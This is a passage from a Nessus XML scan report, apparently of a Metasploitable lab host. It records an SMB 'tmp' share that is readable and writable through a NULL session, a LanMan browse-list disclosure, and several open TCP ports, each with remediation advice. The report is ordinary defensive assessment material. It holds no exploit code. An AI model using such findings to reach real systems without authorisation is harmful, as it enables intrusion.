424 |                 <cvss_temporal_vector>CVSS2#E:H/RL:U/RC:ND</cvss_temporal_vector>
425 |                 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P</cvss_vector>
426 |                 <description>The remote has one or more Windows shares that can be accessed through the network with the
427 |                     given credentials.
428 | 
429 |                     Depending on the share rights, it may allow an attacker to read/write confidential data.
430 |                 </description>
431 |                 <exploit_available>true</exploit_available>
432 |                 <exploitability_ease>No exploit is required</exploitability_ease>
433 |                 <fname>smb_accessible_shares_unpriv.nasl</fname>
434 |                 <osvdb>299</osvdb>
435 |                 <plugin_modification_date>2011/03/27</plugin_modification_date>
436 |                 <plugin_name>Microsoft Windows SMB Shares Unprivileged Access</plugin_name>
437 |                 <plugin_publication_date>2009/11/06</plugin_publication_date>
438 |                 <plugin_type>remote</plugin_type>
439 |                 <risk_factor>High</risk_factor>
440 |                 <script_version>$Revision: 1.7 $</script_version>
441 |                 <solution>To restrict access under Windows, open Explorer, do a right click on each share, go to the
442 |                     &apos;sharing&apos; tab, and click on &apos;permissions&apos;.
443 |                 </solution>
444 |                 <synopsis>It is possible to access a network share.</synopsis>
445 |                 <vuln_publication_date>1999/07/14</vuln_publication_date>
446 |                 <xref>OSVDB:299</xref>
447 |                 <plugin_output>
448 |                     The following shares can be accessed using a NULL session :
449 | 
450 |                     - tmp - (readable,writable)
451 |                     + Content of this share :
452 |                     ..
453 |                     5172.jsvc_up
454 |                     .ICE-unix
455 |                     .X11-unix
456 |                     .X0-lock
457 | 
458 |                 </plugin_output>
459 |             </ReportItem>
460 |             <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10397"
461 |                         pluginName="Microsoft Windows SMB LanMan Pipe Server Listing Disclosure" pluginFamily="Windows">
462 |                 <description>It was possible to obtain the browse list of the remote Windows system by sending a request
463 |                     to the LANMAN pipe. The browse list is the list of the nearest Windows systems of the remote host.
464 |                 </description>
465 |                 <fname>smb_lanman_browse_list.nasl</fname>
466 |                 <osvdb>300</osvdb>
467 |                 <plugin_modification_date>2014/06/09</plugin_modification_date>
468 |                 <plugin_name>Microsoft Windows SMB LanMan Pipe Server Listing Disclosure</plugin_name>
469 |                 <plugin_publication_date>2000/05/09</plugin_publication_date>
470 |                 <plugin_type>local</plugin_type>
471 |                 <risk_factor>None</risk_factor>
472 |                 <script_version>$Revision: 1.37 $</script_version>
473 |                 <solution>n/a</solution>
474 |                 <synopsis>It is possible to obtain network information.</synopsis>
475 |                 <xref>OSVDB:300</xref>
476 |                 <plugin_output>
477 |                     Here is the browse list of the remote host :
478 | 
479 |                     METASPLOITABLE ( os : 0.0 )
480 |                 </plugin_output>
481 |             </ReportItem>
482 |             <ReportItem port="2049" svc_name="rpc-nfs" protocol="tcp" severity="0" pluginID="11219"
483 |                         pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
484 |                 <description>This plugin is a SYN &apos;half-open&apos; port scanner. It shall be reasonably quick even
485 |                     against a firewalled target.
486 | 
487 |                     Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but
488 |                     they might cause problems for less robust firewalls and also leave unclosed connections on the
489 |                     remote target, if the network is loaded.
490 |                 </description>
491 |                 <fname>nessus_syn_scanner.nbin</fname>
492 |                 <plugin_modification_date>2014/01/23</plugin_modification_date>
493 |                 <plugin_name>Nessus SYN scanner</plugin_name>
494 |                 <plugin_publication_date>2009/02/04</plugin_publication_date>
495 |                 <plugin_type>remote</plugin_type>
496 |                 <risk_factor>None</risk_factor>
497 |                 <script_version>$Revision: 1.20 $</script_version>
498 |                 <solution>Protect your target with an IP filter.</solution>
499 |                 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
500 |                 <plugin_output>Port 2049/tcp was found to be open</plugin_output>
501 |             </ReportItem>
502 |             <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11219"
503 |                         pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
504 |                 <description>This plugin is a SYN &apos;half-open&apos; port scanner. It shall be reasonably quick even
505 |                     against a firewalled target.
506 | 
507 |                     Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but
508 |                     they might cause problems for less robust firewalls and also leave unclosed connections on the
509 |                     remote target, if the network is loaded.
510 |                 </description>
511 |                 <fname>nessus_syn_scanner.nbin</fname>
512 |                 <plugin_modification_date>2014/01/23</plugin_modification_date>
513 |                 <plugin_name>Nessus SYN scanner</plugin_name>
514 |                 <plugin_publication_date>2009/02/04</plugin_publication_date>
515 |                 <plugin_type>remote</plugin_type>
516 |                 <risk_factor>None</risk_factor>
517 |                 <script_version>$Revision: 1.20 $</script_version>
518 |                 <solution>Protect your target with an IP filter.</solution>
519 |                 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
520 |                 <plugin_output>Port 445/tcp was found to be open</plugin_output>
521 |             </ReportItem>
522 |             <ReportItem port="53" svc_name="dns" protocol="tcp" severity="0" pluginID="11219"
523 |                         pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
524 |                 <description>This plugin is a SYN &apos;half-open&apos; port scanner. It shall be reasonably quick even
525 |                     against a firewalled target.
526 | 
527 |                     Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but
528 |                     they might cause problems for less robust firewalls and also leave unclosed connections on the
529 |                     remote target, if the network is loaded.
530 |                 </description>
531 |                 <fname>nessus_syn_scanner.nbin</fname>
532 |                 <plugin_modification_date>2014/01/23</plugin_modification_date>
533 |                 <plugin_name>Nessus SYN scanner</plugin_name>
534 |                 <plugin_publication_date>2009/02/04</plugin_publication_date>
535 |                 <plugin_type>remote</plugin_type>
536 |                 <risk_factor>None</risk_factor>
537 |                 <script_version>$Revision: 1.20 $</script_version>
538 |                 <solution>Protect your target with an IP filter.</solution>
539 |                 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
540 |                 <plugin_output>Port 53/tcp was found to be open</plugin_output>
541 |             </ReportItem>
542 |             <ReportItem port="6000" svc_name="x11" protocol="tcp" severity="0" pluginID="11219"
543 |                         pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
544 |                 <description>This plugin is a SYN &apos;half-open&apos; port scanner. It shall be reasonably quick even
545 |                     against a firewalled target.
546 | 
547 |                     Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but
548 |                     they might cause problems for less robust firewalls and also leave unclosed connections on the
549 |                     remote target, if the network is loaded.
550 |                 </description>
551 |                 <fname>nessus_syn_scanner.nbin</fname>
552 |                 <plugin_modification_date>2014/01/23</plugin_modification_date>
553 |                 <plugin_name>Nessus SYN scanner</plugin_name>
554 |                 <plugin_publication_date>2009/02/04</plugin_publication_date>
555 |                 <plugin_type>remote</plugin_type>
556 |                 <risk_factor>None</risk_factor>
557 |                 <script_version>$Revision: 1.20 $</script_version>
558 |                 <solution>Protect your target with an IP filter.</solution>
559 |                 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
560 |                 <plugin_output>Port 6000/tcp was found to be open</plugin_output>
561 |             </ReportItem>
562 |             <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11219"
563 |                         pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
564 |                 <description>This plugin is a SYN &apos;half-open&apos; port scanner. It shall be reasonably quick even
565 |                     against a firewalled target.
566 | 
567 |                     Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but
568 |                     they might cause problems for less robust firewalls and also leave unclosed connections on the
569 |                     remote target, if the network is loaded.
570 |                 </description>
571 |                 <fname>nessus_syn_scanner.nbin</fname>
572 |                 <plugin_modification_date>2014/01/23</plugin_modification_date>
573 |                 <plugin_name>Nessus SYN scanner</plugin_name>
574 |                 <plugin_publication_date>2009/02/04</plugin_publication_date>
575 |                 <plugin_type>remote</plugin_type>
576 |                 <risk_factor>None</risk_factor>
577 |                 <script_version>$Revision: 1.20 $</script_version>
578 |                 <solution>Protect your target with an IP filter.</solution>
579 |                 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
580 |                 <plugin_output>Port 139/tcp was found to be open</plugin_output>
581 |             </ReportItem>
582 |             <ReportItem port="111" svc_name="rpc-portmapper" protocol="tcp" severity="0" pluginID="11219"
583 |                         pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
584 |                 <description>This plugin is a SYN &apos;half-open&apos; port scanner. It shall be reasonably quick even
585 |                     against a firewalled target.
586 | 
587 |                     Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but
588 |                     they might cause problems for less robust firewalls and also leave unclosed connections on the
589 |                     remote target, if the network is loaded.
590 |                 </description>
591 |                 <fname>nessus_syn_scanner.nbin</fname>
592 |                 <plugin_modification_date>2014/01/23</plugin_modification_date>
593 |                 <plugin_name>Nessus SYN scanner</plugin_name>
594 |                 <plugin_publication_date>2009/02/04</plugin_publication_date>
595 |                 <plugin_type>remote</plugin_type>
596 |                 <risk_factor>None</risk_factor>
597 |                 <script_version>$Revision: 1.20 $</script_version>
598 |                 <solution>Protect your target with an IP filter.</solution>
599 |                 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
600 |                 <plugin_output>Port 111/tcp was found to be open</plugin_output>
601 |             </ReportItem>
602 |         </ReportHost>
603 |     </Report>
604 | </NessusClientData_v2>
605 | 


--------------------------------------------------------------------------------